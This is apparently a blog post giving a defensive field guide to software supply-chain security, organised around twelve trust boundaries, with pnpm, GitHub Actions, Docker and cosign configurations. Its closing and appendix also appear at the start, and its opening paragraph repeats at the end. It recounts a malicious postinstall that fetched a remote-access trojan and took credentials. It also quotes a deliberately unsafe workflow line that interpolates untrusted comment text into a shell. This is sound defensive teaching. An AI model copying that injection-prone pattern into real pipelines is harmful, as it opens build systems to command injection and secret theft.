If you've calibrated minimumReleaseAge differently, I want to hear the number and why, especially if you're in fintech or healthcare with stricter patch SLAs. Tell me I'm wrong about any of the trade-offs in the comments. I'd rather argue about the number here than discover the right answer at 2am during a credential-rotation drill because some maintainer's npm token leaked at lunch.

Appendix: minimal viable starter pack

A team that has none of these in place can ship a meaningful subset in roughly a week, regardless of stack:

Lock manifests committed; CI install command refuses to mutate them.
minimumReleaseAge (pnpm) or Renovate equivalent set to ≥ 3 days.
Lifecycle-script default-deny: pnpm.onlyBuiltDependencies allowlist + --ignore-scripts in CI; equivalent gate per stack.
Base images pinned by @sha256: digest. Non-root USER in every production image.
Workflow / pipeline default-deny on permissions; per-job grants.
Mutable references (uses:, include:, plugins, orbs, shared libs) pinned to commit SHAs; CI gate fails un-pinned PRs.
Untrusted CI input passed via env vars, never interpolated into shell.
Image signing via cosign + Sigstore (or stack-equivalent provenance).
PR-time secret scanning (gitleaks / trufflehog).
PR-time dependency CVE gate (pnpm audit + per-stack equivalents above) with documented expiry-forced allowlist.
Logger redaction at framework level for auth headers, cookies, password / token / secret keys.
CODEOWNERS covering every file in this list.

Each item is a few lines of configuration. Total cost is roughly the week described above for a multi-project monorepo; smaller repos proportionally less. The benefit, in our case, was being able to stop checking my phone on Sundays.

Twelve Trust Boundaries: A Field Guide to Supply-Chain Defense After axios@1.14.1

Ahmad Kanj — Fri, 08 May 2026 12:38:49 +0000

On March 30, 2026, an attacker who had stolen an axios maintainer's npm publish credentials pushed axios@1.14.1 to the registry. The version looked like a normal patch a single-digit bump from 1.14.0. It was live for roughly three hours before the maintainer rotated credentials and the version was unpublished.

Three hours, on a Monday, during peak CI/CD hours across multiple time zones. Any team running pnpm install or npm install against a ^1.14.0 constraint pulled 1.14.1 automatically. (^1.14.0 means "any 1.x.y ≥ 1.14.0" most package managers express the same idea: ~= in pip, ^ in Cargo, ~> in Gemfile.) No CVE was published during the window. SAST tools had nothing to flag.

axios@1.14.1 added one new transitive dependency (a dependency-of-a-dependency, pulled in indirectly): plain-crypto-js@4.2.1. That package's postinstall script, a hook the package manager runs automatically after install, the canonical Node footgun, with analogues in pip's setup.py build hooks, Ruby's gem extconf, and Cargo's build.rs ran node setup.js, which downloaded a Python-based RAT (Remote Access Trojan) from a C2 (command-and-control) server, exfiltrated environment variables and cloud credentials, and attempted to establish persistence on the build host. The compromise wouldn't have been visible to anyone glancing at the lockfile diff. A new transitive in a stable utility, the kind of churn most teams approve without thinking.

Three hours is forever in CI. By the time npm pulled the version, the bytes had already shipped to thousands of build hosts.

Two weeks before that incident, I was reading through a workflow in our own repo that lets engineers trigger an LLM code review by commenting /review on a pull request. I stopped on this line:

# .github/workflows/opencode-review.yml:108
COMMENT_BODY="${{ github.event.comment.body || '' }}"

The if: block above it gated only on startsWith(comment.body, '/review'). There was no comment.author_association check. Anyone who could comment on a PR including a drive-by from a public fork could trigger this workflow. The job loaded OPENROUTER_API_KEY from AWS Secrets Manager, and ran with pull-requests: write, issues: write, and AWS OIDC (OpenID Connect short-lived workload identity, used here instead of long-lived API keys) in scope.

Two attacks, very different mechanics. axios was a credential-theft → publish → postinstall chain at the registry boundary. The CWE-78 was a comment-string interpolation at the workflow boundary. The connection: in both cases the attacker didn't write code "in" the repo. They injected code by abusing a trust relationship we trusted axios's npm releases; we trusted GitHub event input. The perimeter is no longer your application. It's everything that runs before, during, and after your build, and the defense has to live in those same places.

I work on a multiple projects monorepo (a single git repository hosting many services and libraries, JavaScript and TypeScript in our case, but the framework below maps to any monorepo or polyrepo, any language). A month after axios@1.14.1 shipped, a Slack message landed in our channel: "we have Wiz, SonarCloud, gitleaks, Renovate but are we good?" Seven days later I had a triaged P0/P1/P2 list 12 P0s (auth, secrets, registry trust), 18 P1s (pinning, permissions, lifecycle), 17 P2s (logging, SBOM, hardening) and a branch with 48 files changed and +2,487 / −646 lines of supply-chain controls.

What follows is the framework I use, the specific findings I hit, the trade-offs I made, and the equivalent control in your stack whether your repo is npm, pip, Maven, Go modules, Cargo, or RubyGems; whether your CI is GitHub Actions, GitLab, Buildkite, or Jenkins. The worked example here is pnpm and GitHub Actions because that's where I shipped it. The boundaries are stack-neutral.

Where the attack surface actually lives now

Your application's attack surface is bounded. A handful of endpoints, an auth system, a database. You can audit it, pen-test it, threat-model it on a whiteboard in an afternoon.

The math doesn't work in your favour. A typical mid-sized application resolves on the order of 1,000–3,000 transitive dependencies in its lockfile (the resolved-versions file your package manager writes package-lock.json, Pipfile.lock, Cargo.lock, Gemfile.lock, go.sum). A typical CI pipeline chains 10–30 third-party Actions / plugins. Across a multi-year horizon, the probability that none of those maintainers gets phished, social-engineered or leaks a publish token approaches zero.

Recent incidents to anchor frequency:

2018: event-stream (npm advisory 737): maintainer handed package to a malicious "helpful contributor" who added a payload in a sub-dependency. Targeted exfiltration of private keys from the Copay/copay-dash Bitcoin wallet specifically conditional payload, no effect on other consumers.
2021: ua-parser-js: npm account takeover. Crypto miner and credential theft on every install. ~4 hours before takedown.
2021: codecov bash uploader (CVE-2021-32699): modified upload script harvested CI environment variables. HashiCorp, Twilio, Confluent affected.
2022: node-ipc (CVE-2022-23812): maintainer protestware. Wiped files on Russian and Belarusian IPs.
2024: xz-utils (CVE-2024-3094): multi-year insider. The "Jia Tan" persona spent ~2 years building trust before merging an OpenSSH authentication backdoor via liblzma linkage with a specific Ed448 key. Discovered by Postgres engineer Andres Freund investigating ~500 ms of sshd login latency, before the affected versions reached most stable distributions.
2024: @solana/web3.js (GHSA-7493-mqf3-cv5g): npm token compromise. Wallet drainer in published versions for ~5 hours.
2025: tj-actions/changed-files (CVE-2025-30066): chained through reviewdog/action-setup (CVE-2025-30154) → stolen PAT → retroactive semver-tag rewrite. ~218 repos confirmed leaked secrets out of ~23,000 references per StepSecurity / Wiz post-incident telemetry.
2025: Shai-Hulud npm worm: the first true self-replicating npm worm. A postinstall harvested maintainer npm tokens and re-published the worm into every other package the victim maintained. ~180 packages compromised across multiple maintainer namespaces.
2025: Nx s1ngularity worm: npm postinstall on compromised Nx versions harvested GitHub PATs, SSH keys, and crypto wallets from build hosts; backdoored downstream nx-init- repositories. Directly relevant to anyone on an Nx monorepo.
2026: axios@1.14.1: as above.

The twelve boundaries

Security engineers thinks in boundaries points where trust transfers from one entity to another. Each boundary is a place attackers operate and a place defenders need a control. The twelve below split into three phases what enters your repo (1–4), what runs during your build (5–9), what ships at runtime (10–12) plus a final section on what to do when one of them fails. Some will.

Phase 1 Source-side: what enters your repo

Boundary 1: Source → Repository (Who can write to `main`?)

The forge-level (GitHub / GitLab / Bitbucket / Gerrit) primitives differ; the rule is identical: humans cannot push to main; only the merge bot can, and only after policy passes.

Boundary 2: Maintainer → Package (Is this dependency safe?)

Threat: typosquats, dependency confusion (publishing a public package whose name shadows a private one, tricking the resolver), maintainer compromise. axios@1.14.1 is the canonical example of the third published from a stolen credential, malicious for three hours, gone afterwards.

Controls registry-time:

Pin to immutable identifiers. Lockfile committed; exact-version constraints; no caret/tilde ranges in production dependencies; pnpm install --frozen-lockfile (or npm ci, pip install --require-hashes, cargo --frozen --locked, mvn -B verify, bundle install --frozen, dotnet restore --locked-mode) in CI. The general invariant: every dependency entry resolves to a content-addressed artifact, not a URL.
Cooldown on freshly published versions. Reject packages younger than N days, on the premise that fresh-publish malware is detected and yanked within 24–72 hours. The premise has limits xz-utils ran for ~2 years undetected so this control buys hours-to-days of latency, not certainty.

   # pnpm-workspace.yaml value is in minutes; 4320 min = 72 h = 3 days
   minimumReleaseAge: 4320

Stack-neutral: pnpm has this natively; Renovate's minimumReleaseAge config covers npm, Maven, PyPI, Go, Cargo, NuGet, RubyGems, Helm, Docker, GH Actions, Terraform any ecosystem Renovate manages. For stacks without native or Renovate support, layer reputation signals: Socket (behavioural risk score), Phylum (heuristic quarantine), OSV-Scanner + EPSS scores for exploit-likelihood prioritisation, OpenSSF Scorecard for upstream maintenance health, npm audit signatures for registry signature verification.

Provenance. Where available, prefer packages published with provenance attestations. npm publish --provenance (since npm 9.5) records a signed Sigstore provenance entry binding the published tarball to the GitHub Actions workflow that built it. PyPI Trusted Publishers + PEP 740 attestations are the Python equivalent. Maven Central PGP signatures + sigstore-maven-plugin for Java. Provenance doesn't stop a credential-theft attack like axios the malicious workflow would still produce a signed entry but it gives forensics a starting point.

Boundary 3: Registry → Lockfile (Is the resolved artifact what we think it is?)

Threat: registry compromise, off-registry tarballs without integrity, mid-flight tampering.

Controls: lockfile committed; integrity hash (sha512:, sha256:, OCI digest) on every entry; CI install command refuses to mutate the lockfile. Easy thing to miss: a lockfile entry like tarball: https://cdn.somehost.com/foo.tgz without an integrity: field is functionally latest. Audit yours for entries where the hash field is empty or pointing to a URL the registry doesn't verify.

# tools/scripts/verify-supply-chain.sh runs in CI
# Fails if the lockfile contains any off-registry tarball not on this allowlist.
EXPECTED_TARBALLS=(
  "https://cdn.sheetjs.com/xlsx-0.20.3/xlsx-0.20.3.tgz"  # SheetJS withdrew xlsx from npm in 2023
)

The general invariant translates: pip's --require-hashes, Cargo's checksum field, Maven's --strict-checksums, NuGet package signing, Go's module sum database every modern package manager has the primitive. The discipline is auditing for entries where it isn't enforced.

Boundary 4: Install → Lifecycle scripts (What runs on install?)

Threat: malicious lifecycle hooks. The axios attack's payload ran here. plain-crypto-js@4.2.1's entire malicious behaviour was a postinstall: node setup.js. Without that hook, the package would have sat on disk doing nothing until something require()'d it and axios doesn't import plain-crypto-js. The postinstall was the only thing that turned a passive disk write into RCE during install.

Controls:

Default-deny on install scripts, allowlist of who may run them:

   {
     "pnpm": {
       "onlyBuiltDependencies": [
         "esbuild",
         "@swc/core",
         "@datadog/native-iast-taint-tracking",
         "prisma"
       ]
     }
   }

Behavioural quarantine. Socket and Phylum analyse new transitives for suspicious patterns (network calls, file-system access, dynamic eval) before they reach your lockfile. npq wraps npm install to prompt before installing freshly published packages. None of these would catch a sufficiently subtle payload, but plain-crypto-js's node setup.js → C2 download is exactly the shape they flag.
Build-host sandboxing. Run installs inside an ephemeral container with no network egress except to the registry; or use Bubblewrap / Firejail / Chainguard's hardened images. Defence-in-depth for the case where the lifecycle gate fails open.

Stack equivalents: pip's risky surface is setup.py install hooks (mitigate with --only-binary=:all:); Ruby's is gem install running extconf.rb; Cargo's is build.rs (sandbox via Bazel rules_rust or cargo-deny bans); .NET's modern PackageReference does not run scripts (legacy packages.config does); Maven and Gradle's are build plugins (audit <build><plugins> and buildscript { dependencies }).

Phase 2 Build-side: what runs during your build

Boundary 5: Source → Image (Is our build environment trustworthy?)

Threat: base image tag rewrite, secrets baked into image layers.
Controls:

Pin every FROM by @sha256:<digest>. Tags are mutable; digests are content-addressed (the SHA changes if the bytes change, so a rewrite is detectable).

   FROM node:20.11.1-alpine3.19@sha256:735dd688da64d22ebd9... AS base
   USER node
   CMD ["node", "dist/main.js"]

Drop privileges with USER before CMD. For Node images: USER node. For nginx: switch to nginxinc/nginx-unprivileged (drop-in non-root replacement listening on 8080).
Never put secrets in ARG defaults they persist in docker history. Use BuildKit --mount=type=secret for build-time secrets.
Hermetic builds for the highest tier. Bazel rules_oci, Nix dockerTools, Chainguard's apko + melange produce reproducible images where every byte is content-addressed back to source. Overkill for most teams; required for SLSA L3+.

Boundary 6: Image → Registry (Can downstream verify what we shipped?)

Threat: image tag rewrite at the registry; image swap; "did we actually ship this build?" forensics gap.

Verify with workflow-path anchoring, not a loose org regex:

cosign verify <image>@<digest> \
  --certificate-identity-regexp "^https://github\.com/yourorg/yourrepo/\.github/workflows/release\.yml@refs/heads/main$" \
  --certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
  --certificate-github-workflow-repository "yourorg/yourrepo" \
  --certificate-github-workflow-ref "refs/heads/main"

An open ^https://github.com/yourorg/ regex matches any workflow under the org including a malicious workflow added in a fork and run via pull_request_target. Anchor on the workflow path, the ref, AND test the regex with a known-different workflow before relying on it. Unanchored regexes (missing ^ or $) match more workflows than you intended.

Signing alone does not satisfy SLSA (Supply-chain Levels for Software Artifacts a framework grading build provenance trustworthiness). The signature proves who built the image, not how. SLSA Build L3 requires provenance attestations in in-toto format (https://slsa.dev/provenance/v1 predicate), produced by cosign attest --predicate from a hardened, isolated builder such as slsa-github-generator. Verify with cosign verify-attestation. The signature is the foundation. The attestation chain is the rest of the building.

A signature you don't verify at deploy time is theatre. Wire cosign verify into a Kubernetes admission controller Kyverno verifyImages, Connaisseur, or Sigstore policy-controller so the cluster refuses to schedule unsigned or wrong-identity images. GitHub's native gh attestation verify (GA 2024) is the simplest verification entry-point if you're not on Kubernetes.

Stack-agnostic: cosign works on any container image registry (ECR, GHCR, ACR, GAR, Harbor, Artifactory, Quay) and on generic blobs via cosign sign-blob. Sigstore Fulcio currently trusts OIDC issuers from GitHub, GitLab, Buildkite, CircleCI, Google, Microsoft same cosign sign --identity-token flow, different iss claim. PEP 740 attestations + python -m sigstore cover Python wheels; sigstore-maven-plugin covers Java JARs.

Boundary 7: Tag → Commit (What does this `uses:` / include / plugin actually point to?)

Controls: pin every external uses: to a 40-character commit SHA with a tag comment.

- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
- uses: pulumi/actions@8582a9e8cc630786854029b4e09281acd6794b58 # v6

Enforce in CI with pinact run --check --verify. It fails the PR if anything is unpinned, and flags drift between the pinned SHA and the SHA the upstream tag currently resolves to. It catches inadvertent drift. It does not by itself defeat a tag-rewrite attack pinact will surface the mismatch but cannot tell you which side is hostile. Pair it with a higher-trust signal: Sigstore attestation verification, GitHub's gh attestation verify for Action artifacts (GA 2024), StepSecurity Harden-Runner for egress-policy + tampering detection on the runner, or human review of any flagged drift.

Boundary 8: Workflow → Secrets (What can a single compromised step exfiltrate?)

Threat: any step in a workflow inherits the workflow's permissions and any environment-scoped secrets. A compromised Action running with permissions: write-all receives a GITHUB_TOKEN with write scopes across that repository's API surface contents, issues, pull requests, packages, deployments for the duration of that workflow run.

Controls: default-deny at workflow level, grant per-job:

permissions: {}

jobs:
  deploy:
    permissions:
      contents: read       # for checkout
      id-token: write      # for AWS OIDC

zizmor (free workflow-security linter) audits this on every PR. When we ran it the first time, 8 of our 16 workflows were running permissions: write-all. Today none of them do.

"Condition": {
  "StringEquals": {
    "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
  },
  "StringLike": {
    "token.actions.githubusercontent.com:sub": "repo:yourorg/yourrepo:ref:refs/heads/main"
  }
}

For higher precision than sub, use job_workflow_ref it constrains to a specific leaf workflow file and is resilient to a malicious reusable-workflow caller inside the same repo. AWS, GCP Workload Identity Federation, and Azure federated credentials all expose it.

Boundary 9: Untrusted input → Shell (CWE-78 in CI)

Unsafe:

run: echo "Reviewing: ${{ github.event.comment.body }}"

Safe:

env:
  BODY: ${{ github.event.comment.body }}
run: echo "Reviewing: $BODY"

Phase 3 Runtime-side: what ships and what leaks

Boundary 10: Build host env → Client bundle (Whose secrets ship to the browser?)

We had this:

// vite.config.ts
define: {
  'process.env': process.env,   // TODO: fix this later
},

Safe:

define: {
  'process.env.PUBLIC_API_URL': JSON.stringify(process.env.PUBLIC_API_URL),
  // explicit allowlist; nothing implicit
},

Same principle for NEXT_PUBLIC_*, VITE_*, REACT_APP_*, EXPO_PUBLIC_* env vars assume browser-readable, never put secrets behind these prefixes. Same failure mode in mobile too: Android BuildConfig.API_KEY = "$apiKey" from a checked-in gradle.properties; iOS API keys in Info.plist or xcconfig. Assume any string in the artefact is extractable.

Boundary 11: Runtime → Logs (Are your sinks an exfiltration channel?)

Controls: redaction at the framework level (not per call-site):

import pino from 'pino';

export const logger = pino({
  redact: {
    paths: [
      'req.headers.authorization',
      'req.headers.cookie',
      'config.headers.authorization',  // catches Axios errors
      '*.password', '*.token', '*.secret',
    ],
    censor: '[REDACTED]',
  },
});

The limit. pino redact is a denylist; it only scrubs the paths you list. Custom auth headers (x-api-key, x-vault-token), GraphQL variables.password, request.body.token, provider-specific shapes easy to miss. Audit your redact paths against the actual headers and body shapes your services see, and re-audit when you add an integration.

Boundary 12: Dependency → Patch (Can you fix a CVE without a registry round-trip?)

Threat: vulnerable transitive dependency, no maintainer response, can't wait.

Controls: force-pin the transitive with documented rationale and an expiry date:

{
  "pnpm": {
    "overrides": {
      "lodash-es": "4.17.23",
      "tar": "7.5.11"
    }
  }
}

Override-rot is real outdated overrides shadow newer transitive versions that already have the fix. Each override should reference its CVE, the introducing PR, and a re-evaluation date. The audit-allowlist.json schema we use:

{
  "ghsa": "GHSA-xxxx-yyyy-zzzz",
  "package": "the affected package",
  "severity": "high | critical",
  "rationale": "why this risk is accepted (must explain reachability or absence of fix)",
  "verified_by": "engineer email or handle",
  "added": "YYYY-MM-DD",
  "expires": "YYYY-MM-DD",  // max 90 days
  "follow_up": "what removes this entry"
}

CI fails when expires passes; the gate forces a re-decision rather than letting drift accumulate.

When prevention fails: the response side

Every boundary above is preventive. Some will fail. The question is what you do in the next four hours.

Prevention buys time for detection. Detection buys time for response. Get all three in writing before you need them.

What one week of focused work actually moved

Control	Before	After
Third-party Action SHA pinning	0% of 110 `uses:` lines	100% with `pinact` CI gate
Workflow `permissions: write-all`	8 of 16 workflows	0
Lockfile integrity coverage	99.97% (1 off-registry tarball, no `integrity:`)	99.97% + CI allowlist enforcement with rationale per off-registry entry
`minimumReleaseAge`	12 hours	3 days
Production Dockerfile USER directive	0 of 7 (all root)	7 of 7 (non-root)
Production base image digest pinning	0 of 7	7 of 7
Image signing	none	cosign keyless on every ECR push, workflow-path-anchored verify identity
PR-time secret scanning	pre-commit only (skippable)	pre-commit + CI (unskippable)
PR-time SAST	none	CodeQL `security-extended`
Workflow security audit	none	`actionlint` + `zizmor`
Dependency CVE gate	none	`pnpm audit --prod --audit-level high` with documented allowlist
SBOM generation	none	CycloneDX + SPDX on every push to main

The week wasn't a checklist. It was a sequence of specific findings, in the order I hit them:

Day 1: Boundary 7. Audit of .github/workflows/. Every external uses: was tag-pinned. Pinned all 110 to 40-character SHAs with tag comments. pinact run --check --verify added as required status check.
Day 1: Boundary 8. 8 of 16 workflows ran with permissions: write-all. Tightened to workflow-level permissions: {} plus per-job grants. zizmor added as the gate. First staging deploy broke because permissions: {} revealed an undeclared packages: read that a publish job had been silently inheriting through the old write-all. Caught in PR; one-line add to per-job permissions.
Day 2: Boundary 9. The opencode-review.yml:108 CWE-78 (the lede). Four-line fix.
Day 2: Boundary 10. apps/front/remote-homepage/vite.config.ts:30 had 'process.env': process.env, with a TODO comment. Every CI environment variable visible to the build host was being baked into the client bundle. Replaced with an explicit allowlist.
Day 3: Boundary 8. build-and-publish-service.yml lines 128 and 469: both Wiz container scan steps had continue-on-error: true || true. Doubly non-blocking. Two engineers had to reach for the keyboard to make those scans non-fatal. Removed both bypasses.
Day 3: Boundary 3. Lockfile audit found one off-registry tarball: https://cdn.sheetjs.com/xlsx-0.20.3/xlsx-0.20.3.tgz, in two lambda package.json files. Allowlisted with rationale (SheetJS withdrew xlsx from npm in 2023).
Day 4: Boundary 12. pnpm.overrides audit; the lodash story below.
Day 4: Boundary 2. minimumReleaseAge calibration: started at 720 minutes (12 hours), tried 10080 (7 days), got blocked by a postcss@8.5.12 patch published four days earlier, settled at 4320 (3 days).
Day 4: Boundary 5. Production Dockerfile sweep. 7 of 7 images ran as root. Added USER node; switched nginx-fronted images to nginxinc/nginx-unprivileged.
Day 5: Boundary 6. Cosign keyless signing on every ECR push. Branch protection updated to require all six new gates as status checks.

Five lessons that don't fit in a framework

1. The "patched version" you find in an advisory is not always the version you can ship.

Day 4 the advisory for GHSA-r5fr-rjxr-66jc (HIGH, code injection via _.template) said "fixed in 4.18.0." Our pnpm.overrides had lodash-es: 4.18.0 and lodash: 4.18.1 both flagged green by the advisory.

I kept the terminal open and ran:

grep -rE '_\.template\(' apps/ libs/

Nothing. Across multiple projects, no production source called _.template. The vulnerable code path was unreachable.

That grep is a hand-rolled approximation of reachability analysis the formal name for "is the vulnerable function actually called from your code?" Tools that automate it: Endor Labs, Snyk Reachability, Semgrep Supply Chain, CodeQL with taint-tracking queries. Eleven seconds with grep is the cheap version of the same idea. The expensive version costs money but covers transitive call paths grep can't see.

The decision crystallised: allowlist with documented rationale, three-month expiry, named follow-up to migrate off lodash entirely.

2. Aggressive controls block legitimate fixes. Calibrate, don't posture.

Started at minimumReleaseAge: 10080 (7 days, pnpm's recommended baseline). Within the hour it blocked postcss@8.5.12, a CVE patch published four days earlier. Dropped to 3 days.

3. Detection without enforcement is not security.

The week started with the Slack message above. The most striking finding: every right primitive was already there Wiz, SonarCloud, Renovate, gitleaks, custom rules. None of them were blocking merges. Wiz container scans were running with continue-on-error: true || true. SonarCloud ran post-merge. Pre-commit gitleaks could be skipped with --no-verify. Renovate filed PRs nobody was required to merge.

Moving those gates into PR-time required-status-checks (same tools, same configurations, just required: true in branch protection) was, in my judgment, the largest delta in actual risk reduction over the week. It's a judgment, not a measurement we don't have a counterfactual. Take it as senior intuition.

4. The blast radius of a CI compromise is usually larger than any application bug.

5. These controls assume a clean threat model. Both halves of that assumption fail.

Most of the controls above assume the attacker is outside your org and your developers' laptops are clean. Both fail in roughly half the supply-chain incidents I've seen written up. xz-utils is the canonical maintainer-side case: a multi-year insider with valid signed commits every Phase 1 control passes. A compromised developer endpoint with a valid signed-commit identity bypasses CODEOWNERS, branch protection, and most of Phase 1. Endpoint posture and maintainer-identity verification are their own conversations. When you decide what to ship next, factor them in.

Process and culture

Tools alone don't get you there. The process around them ends up doing more of the work than I'd expected. Three patterns that bound everything else:

CODEOWNERS on every supply-chain surface. Required reviewer on every workflow file, Dockerfile, dependency manifest, override file, and audit-allowlist.json itself. Humans catch what static analysis can't see (intent, weird ownership, deprecated-but-popular packages); machines catch the rest.
Allowlists with expiry, never silent ignores. Every accepted risk has rationale, verifier, and a date when it stops being accepted. CI fails at expiry and forces a re-decision rather than letting drift accumulate.
Default-deny as engineering culture. permissions: {} at workflow level. Empty Dockerfile USER rejected. New dependency needs CODEOWNERS approval. Off-registry tarball needs written rationale. The friction surfaces decisions that would otherwise stay implicit.

What you can ship alone vs. what needs platform

Translation table: the boundaries in your stack

This article uses pnpm + GitHub Actions because that's where I shipped the work. The boundaries don't care about the YAML.

Boundary	pnpm/JS	Python	Java/Maven	Go	Rust	Ruby	.NET
2. Pin to immutable identifier	`package.json` exact + `pnpm install --frozen-lockfile`	`pip-compile --generate-hashes` + `--require-hashes`; or `poetry install --no-update`; or `uv sync --frozen --locked`	`mvn-dependency-lock-plugin` + `dependencies.lock`	`go.sum` + `GOFLAGS=-mod=readonly`	`Cargo.lock` + `cargo --frozen --locked`	`Gemfile.lock` + `bundle config set frozen true`	`packages.lock.json` + `dotnet restore --locked-mode`
2. Cooldown on fresh publishes	`minimumReleaseAge` (pnpm-native)	Renovate `minimumReleaseAge` (covers PyPI); commercial: Socket, Phylum	Renovate (covers Maven Central)	Renovate (covers Go modules) + `govulncheck`	Renovate; `cargo-deny [advisories] yanked = "deny"`	Renovate; `bundler-audit`	Renovate
3. Lockfile integrity	`integrity: sha512:...` per entry	hash via `--require-hashes`; Poetry `content-hash`	Gradle `verification-metadata.xml`; Maven `--strict-checksums`	`go.sum` + `sum.golang.org`	Cargo lockfile checksums (built-in)	`bundle config set verify_files true`	`dotnet trust` for signed packages
4. Lifecycle script gate	`onlyBuiltDependencies` + `--ignore-scripts`	`pip install --only-binary=:all:`	audit `<build><plugins>` + checksum-pin them	`cgo` / `//go:generate` controlled via Bazel/Nix sandbox	`build.rs` sandboxed via Bazel `rules_rust` or `cargo-deny` bans	`bundle config force_ruby_platform true` to skip native; or sandbox	PackageReference (modern) doesn't run scripts; audit any `packages.config` projects
5. Base image digest pin	`FROM image:tag@sha256:...` (any Dockerfile, any language)	same	same	same	same	same	same
6. Image signing	cosign + Sigstore (any registry, any image)	same; PEP 740 attestations + `sigstore` for wheels	same; `sigstore-maven-plugin` for JARs	same; `slsa-github-generator/builder-go` for SLSA	`cargo-dist` + Sigstore	same	`dotnet nuget sign`; NuGet signature verification
7. CI mutable-ref pin	`uses: org/action@<sha>`; `pinact` enforce	(Python doesn't have an "Actions" concept; this is CI-platform, not language)	same	same	same	same	same
8. Default-deny permissions	GHA `permissions: {}`	(CI-platform; see CI table below)	same	same	same	same	same
11. Logger redaction	pino `redact:`	`structlog` processors + `logging.Filter`	Logback `MaskingPatternLayout`	`zap` custom encoder; `zerolog` `.Strs("redacted", ...)`	`tracing` `Layer`	`Rails.config.filter_parameters`	Serilog `Enrichers.Sensitive`
12. Force-pin transitive	`pnpm.overrides`	pip `constraints.txt`; uv `[tool.uv] override-dependencies`; Poetry → promote to direct	Maven `<dependencyManagement>`; Gradle `dependencySubstitution`	`replace` directive in `go.mod`	`[patch.crates-io]` in `Cargo.toml`	Direct `gem 'foo', '1.2.3'` in `Gemfile`	`Directory.Packages.props` central management

CI translations for Boundaries 5–9:

	GitHub Actions	GitLab CI	Buildkite	CircleCI	Jenkins	AWS CodeBuild
Mutable-ref pin (B7)	`uses: org/action@<sha>` + `pinact`	`include: ref: <sha>` + Renovate `gitlabci-include`	Plugin `@<sha>` + Renovate `buildkite`	Inline orbs; or pin `orbs: foo/bar@<exact-version>`	`@Library('foo@<sha>')`	Pre-mirrored installers + checksum verify in `pre_build`
Default-deny perms (B8)	`permissions: {}`	`id_tokens:` per-job; protected variables	Agent-queue ACLs; secrets via Vault Agent	Restricted contexts	`withCredentials` per-step; folder-level isolation	Per-project IAM role; `SECRETS_MANAGER` vars
OIDC trust (B8)	`sub`/`job_workflow_ref` anchored	`CI_JOB_JWT_V2` audience-bound	OIDC plugin since 2023	`circleci/oidc-orb`	Workload identity / `manage-credentials-binding-plugin`	`aws sts assume-role-with-web-identity`
Shell injection (B9)	`actionlint` + `zizmor`	`glab ci lint`; `semgrep p/ci`	`buildkite-pipeline-lint`	`circleci config validate`	Pipeline Linter; `pipeline-utility-steps`	`cfn-lint` + `checkov`
Image signing identity (B6)	OIDC issuer `token.actions.githubusercontent.com`	`CI_JOB_JWT_V2` issuer	Buildkite OIDC issuer	`oidc.circleci.com`	OIDC via plugin or workload identity	CodeBuild OIDC tokens

Cross-cutting tools, alphabetical:

Audit (CVE in deps): pnpm/npm audit → pip-audit (Python), mvn dependency-check:check or Gradle dependencyCheckAnalyze (Java), govulncheck (Go, symbol-aware reachability), cargo audit + cargo-deny (Rust), bundler-audit (Ruby), dotnet list package --vulnerable --include-transitive (.NET). Cross-stack: OSV-Scanner (Google; OSV format covers all of the above), Snyk Open Source, Wiz, Socket.
Cosign: ecosystem-agnostic. Works on any container image and on generic blobs.
gitleaks: stack-agnostic. Alternatives: trufflehog, detect-secrets, GitHub native push protection. Run several; they catch different things.
CodeQL: native multi-language (JS/TS, Python, Java, Kotlin, Go, Ruby, C#, C/C++, Swift). Alternatives: Semgrep Pro (broadest), Snyk Code, SonarCloud, Veracode.
minimumReleaseAge: native in pnpm. Universal via Renovate (minimumReleaseAge config) covers npm, Maven, PyPI, Go, Cargo, NuGet, RubyGems, Helm, Docker, GH Actions, Terraform.
SBOM: syft is stack-agnostic. Per-stack: cyclonedx-bom (Python), cyclonedx-maven-plugin (Java), cyclonedx-gomod (Go), cargo cyclonedx (Rust), bundler-cyclonedx (Ruby), dotnet CycloneDX (.NET). Consume with Dependency-Track; scan with Trivy or Grype.

The boundary survives. The YAML changes.

Closing

That grep took eleven seconds. The fix took four lines. The control that catches the next one was one commit.

If you only take three things from this: pin every external CI reference (Action / include / plugin / orb / shared-library) to a content-addressed identifier; scope every CI permission block to least privilege; set a minimumReleaseAge of at least 3 days on your package manager. Put the first two as required status checks on main. Together they would have stopped axios@1.14.1 cold for any pipeline running them, and tj-actions cold for every repo that ran it. The other nine boundaries are the layers behind that.

For a regulated workload healthcare staffing means downtime maps to nurses missing shifts at hospitals, so we weight availability higher than most SaaS the calibration looks like: we tolerated +5 minutes of PR latency, but rejected anything that could block a hotfix at 2am. Your domain's calibration will differ. Write down why.

If you've calibrated minimumReleaseAge differently, I want to hear the number and why especially if you're in fintech or healthcare with stricter patch SLAs. Tell me I'm wrong about any of the trade-offs in the comments. I'd rather argue about the number here than discover the right answer at 2am during a credential-rotation drill because some maintainer's npm token leaked at lunch.

Appendix: minimal viable starter pack

A team that has none of these in place can ship a meaningful subset in roughly a week, regardless of stack:

Lock manifests committed; CI install command refuses to mutate them.
minimumReleaseAge (pnpm) or Renovate equivalent set to ≥ 3 days.
Lifecycle-script default-deny: pnpm.onlyBuiltDependencies allowlist + --ignore-scripts in CI; equivalent gate per stack.
Base images pinned by @sha256: digest. Non-root USER in every production image.
Workflow / pipeline default-deny on permissions; per-job grants.
Mutable references (uses:, include:, plugins, orbs, shared libs) pinned to commit SHAs; CI gate fails un-pinned PRs.
Untrusted CI input passed via env vars, never interpolated into shell.
Image signing via cosign + Sigstore (or stack-equivalent provenance).
PR-time secret scanning (gitleaks / trufflehog).
PR-time dependency CVE gate (pnpm audit + per-stack equivalents above) with documented expiry-forced allowlist.
Logger redaction at framework level for auth headers, cookies, password / token / secret keys.
CODEOWNERS covering every file in this list.

Each item is a few lines of configuration. Total cost is roughly the week described above for a multiple projects monorepo; smaller repos proportionally less. The benefit, in our case, was being able to stop checking my phone on Sundays.

Twelve Trust Boundaries: A Field Guide to Supply-Chain Defense After axios@1.14.1

Ahmad Kanj — Fri, 08 May 2026 12:32:00 +0000

Three hours, on a Monday, during peak CI/CD hours across multiple time zones. Any team running pnpm install or npm install against a ^1.14.0 constraint pulled 1.14.1 automatically. (^1.14.0 means "any 1.x.y ≥ 1.14.0" most package managers express the same idea: ~= in pip, ^ in Cargo, ~> in Gemfile.) No CVE was published during the window. SAST tools had nothing to flag.

